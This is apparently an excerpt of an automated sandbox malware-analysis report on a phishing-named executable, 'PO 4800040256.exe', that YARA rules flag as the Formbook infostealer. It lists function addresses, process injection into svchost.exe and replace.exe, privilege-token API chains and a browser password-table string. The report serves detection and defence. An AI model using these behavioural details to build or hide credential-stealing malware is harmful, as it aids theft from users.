            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03360F302_2_03360F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E2F302_2_033E2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03382F282_2_03382F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B4F402_2_033B4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BEFA02_2_033BEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334CFE02_2_0334CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03332FC82_2_03332FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FEE262_2_033FEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340E592_2_03340E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03352E902_2_03352E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FCE932_2_033FCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FEEDB2_2_033FEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DCD1F2_2_033DCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334AD002_2_0334AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03358DBF2_2_03358DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333ADE02_2_0333ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340C002_2_03340C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0CB52_2_033E0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03330CF22_2_03330CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F132D2_2_033F132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332D34C2_2_0332D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0338739A2_2_0338739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033452A02_2_033452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E12ED2_2_033E12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335B2C02_2_0335B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0340B16B2_2_0340B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332F1722_2_0332F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0337516C2_2_0337516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334B1B02_2_0334B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F70E92_2_033F70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FF0E02_2_033FF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EF0CC2_2_033EF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033470C02_2_033470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FF7B02_2_033FF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033856302_2_03385630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F16CC2_2_033F16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F75712_2_033F7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034095C32_2_034095C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DD5B02_2_033DD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FF43F2_2_033FF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033314602_2_03331460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FFB762_2_033FFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335FB802_2_0335FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B5BF02_2_033B5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0337DBF92_2_0337DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B3A6C2_2_033B3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FFA492_2_033FFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F7A462_2_033F7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DDAAC2_2_033DDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03385AA02_2_03385AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E1AA32_2_033E1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EDAC62_2_033EDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D59102_2_033D5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033499502_2_03349950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335B9502_2_0335B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AD8002_2_033AD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033438E02_2_033438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FFF092_2_033FFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FFFB12_2_033FFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03341F922_2_03341F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03303FD22_2_03303FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03303FD52_2_03303FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03349EB02_2_03349EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F7D732_2_033F7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F1D5A2_2_033F1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03343D402_2_03343D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335FDC02_2_0335FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B9C322_2_033B9C32
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FFCF22_2_033FFCF2
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AA3524_2_037AA352
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037B03E64_2_037B03E6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036FE3F04_2_036FE3F0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037902744_2_03790274
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037702C04_2_037702C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037781584_2_03778158
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0378A1184_2_0378A118
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036E01004_2_036E0100
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A81CC4_2_037A81CC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037B01AA4_2_037B01AA
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037820004_2_03782000
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F07704_2_036F0770
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037147504_2_03714750
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036EC7C04_2_036EC7C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0370C6E04_2_0370C6E0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F05354_2_036F0535
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037B05914_2_037B0591
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A24464_2_037A2446
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0379E4F64_2_0379E4F6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AAB404_2_037AAB40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A6BD74_2_037A6BD7
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036EEA804_2_036EEA80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037069624_2_03706962
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F29A04_2_036F29A0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037BA9A64_2_037BA9A6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F28404_2_036F2840
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036FA8404_2_036FA840
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0371E8F04_2_0371E8F0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036D68B84_2_036D68B8
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03764F404_2_03764F40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03710F304_2_03710F30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03732F284_2_03732F28
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036FCFE04_2_036FCFE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036E2FC84_2_036E2FC8
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0376EFA04_2_0376EFA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F0E594_2_036F0E59
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AEE264_2_037AEE26
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AEEDB4_2_037AEEDB
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03702E904_2_03702E90
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037ACE934_2_037ACE93
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0378CD1F4_2_0378CD1F
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036FAD004_2_036FAD00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036EADE04_2_036EADE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03708DBF4_2_03708DBF
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F0C004_2_036F0C00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036E0CF24_2_036E0CF2
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03790CB54_2_03790CB5
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036DD34C4_2_036DD34C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A132D4_2_037A132D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0373739A4_2_0373739A
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037912ED4_2_037912ED
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0370B2C04_2_0370B2C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F52A04_2_036F52A0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037BB16B4_2_037BB16B
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0372516C4_2_0372516C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036DF1724_2_036DF172
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036FB1B04_2_036FB1B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A70E94_2_037A70E9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AF0E04_2_037AF0E0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F70C04_2_036F70C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0379F0CC4_2_0379F0CC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AF7B04_2_037AF7B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A16CC4_2_037A16CC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A75714_2_037A7571
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0378D5B04_2_0378D5B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036E14604_2_036E1460
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AF43F4_2_037AF43F
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AFB764_2_037AFB76
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03765BF04_2_03765BF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0372DBF94_2_0372DBF9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0370FB804_2_0370FB80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03763A6C4_2_03763A6C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AFA494_2_037AFA49
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A7A464_2_037A7A46
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0379DAC64_2_0379DAC6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03735AA04_2_03735AA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0378DAAC4_2_0378DAAC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03791AA34_2_03791AA3
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0370B9504_2_0370B950
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F99504_2_036F9950
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037859104_2_03785910
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0375D8004_2_0375D800
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F38E04_2_036F38E0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AFF094_2_037AFF09
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036B3FD24_2_036B3FD2
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036B3FD54_2_036B3FD5
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AFFB14_2_037AFFB1
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F1F924_2_036F1F92
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F9EB04_2_036F9EB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A7D734_2_037A7D73
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037A1D5A4_2_037A1D5A
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036F3D404_2_036F3D40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0370FDC04_2_0370FDC0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03769C324_2_03769C32
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037AFCF24_2_037AFCF2
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E618F04_2_02E618F0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E5AAB04_2_02E5AAB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E5CA304_2_02E5CA30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E5C8074_2_02E5C807
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E5C8104_2_02E5C810
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E64FB04_2_02E64FB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E6318B4_2_02E6318B
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E631904_2_02E63190
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E511214_2_02E51121
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E7B6404_2_02E7B640
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0349E30D4_2_0349E30D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0349E1E44_2_0349E1E4
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0349D7084_2_0349D708
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0349E69C4_2_0349E69C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0349C9C84_2_0349C9C8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0332B970 appears 280 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03375130 appears 58 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 033AEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 033BF290 appears 105 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03387E54 appears 111 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 03737E54 appears 101 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 0375EA12 appears 86 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 03725130 appears 58 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 0376F290 appears 105 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 036DB970 appears 275 times
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: String function: 00445975 appears 65 times
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: String function: 0041171A appears 37 times
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: String function: 0041718C appears 45 times
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: String function: 0040E6D0 appears 35 times
            Source: PO 4800040256.exe, 00000000.00000003.2137768106.000000000477D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO 4800040256.exe
            Source: PO 4800040256.exe, 00000000.00000003.2136820709.0000000004433000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO 4800040256.exe
            Source: PO 4800040256.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@17/13
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
            Source: C:\Users\user\Desktop\PO 4800040256.exeFile created: C:\Users\user\AppData\Local\Temp\cauldsJump to behavior
            Source: PO 4800040256.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\PO 4800040256.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: replace.exe, 00000004.00000003.2435603834.0000000003198000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.2435603834.0000000003164000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4572751193.0000000003198000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4572751193.0000000003164000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: PO 4800040256.exeReversingLabs: Detection: 65%
            Source: C:\Users\user\Desktop\PO 4800040256.exeFile read: C:\Users\user\Desktop\PO 4800040256.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\PO 4800040256.exe "C:\Users\user\Desktop\PO 4800040256.exe"
            Source: C:\Users\user\Desktop\PO 4800040256.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO 4800040256.exe"
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeProcess created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\PO 4800040256.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO 4800040256.exe"Jump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeProcess created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: ulib.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: winhttp.dllJump to behavior
